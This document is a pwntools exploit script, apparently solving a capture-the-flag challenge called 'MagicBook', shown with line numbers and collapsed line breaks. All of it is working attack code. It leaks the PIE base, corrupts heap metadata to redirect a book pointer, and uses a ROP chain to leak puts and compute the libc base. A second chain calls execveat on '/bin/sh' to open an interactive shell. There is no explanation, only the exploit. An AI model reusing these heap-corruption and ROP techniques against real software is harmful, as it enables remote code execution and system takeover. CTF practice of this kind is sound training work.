1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64' GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' EXE = './MagicBook'
def payload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh) else: sh = remote('', 9999) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6') elf = ELF(EXE)
def createBook(size:int): sh.sendlineafter(b'choice', b'1') sh.sendlineafter(b'need', str(size).encode()) def deleteBook(idx:int, page:int=0, content:bytes=None): sh.sendlineafter(b'choice', b'2') sh.sendlineafter(b'delete', str(idx).encode()) if content: sh.sendlineafter(b'y/n', b'y') sh.sendlineafter(b'page', str(page).encode()) sh.sendafter(b'content', content) else: sh.sendlineafter(b'y/n', b'n')
def editBook(content: bytes): sh.sendlineafter(b'choice', b'3') sh.sendafter(b'story!\n', content)
sh.recvuntil(b'gift: ') pieBase = int(sh.recv(14), 16) - elf.symbols['d'] success(GOLD_TEXT(f'Leak PIE base: {pieBase:#x}')) elf.address = pieBase
createBook(0x4e0) createBook(0x20) createBook(0x4d0) deleteBook(0) createBook(0x4f0)
deleteBook(2, 0, p64(0) * 2 + p64(elf.symbols['book'] - 0x20)) createBook(0x500) gadgets = ROP(elf) rdi = gadgets.rdi.address ret = gadgets.ret.address editBook(b'0'*0x28 + flat(rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['edit_the_book']))
libcBase = u64(sh.recv(6) + b'\0\0') - libc.symbols['puts'] success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}')) libc.address = libcBase
gadgets = ROP(libc) rsi = gadgets.rsi.address rdx = gadgets.rdx.address rcx = gadgets.rcx.address r8 = libcBase + 0x1659e6 sh.send(b'0'*0x28 + flat(rdi, 0, rsi, next(libc.search(b'/bin/sh')), rdx, 0, 0, rcx, 0, r8, 0, libc.symbols['execveat']))
sh.clean() sh.interactive()
|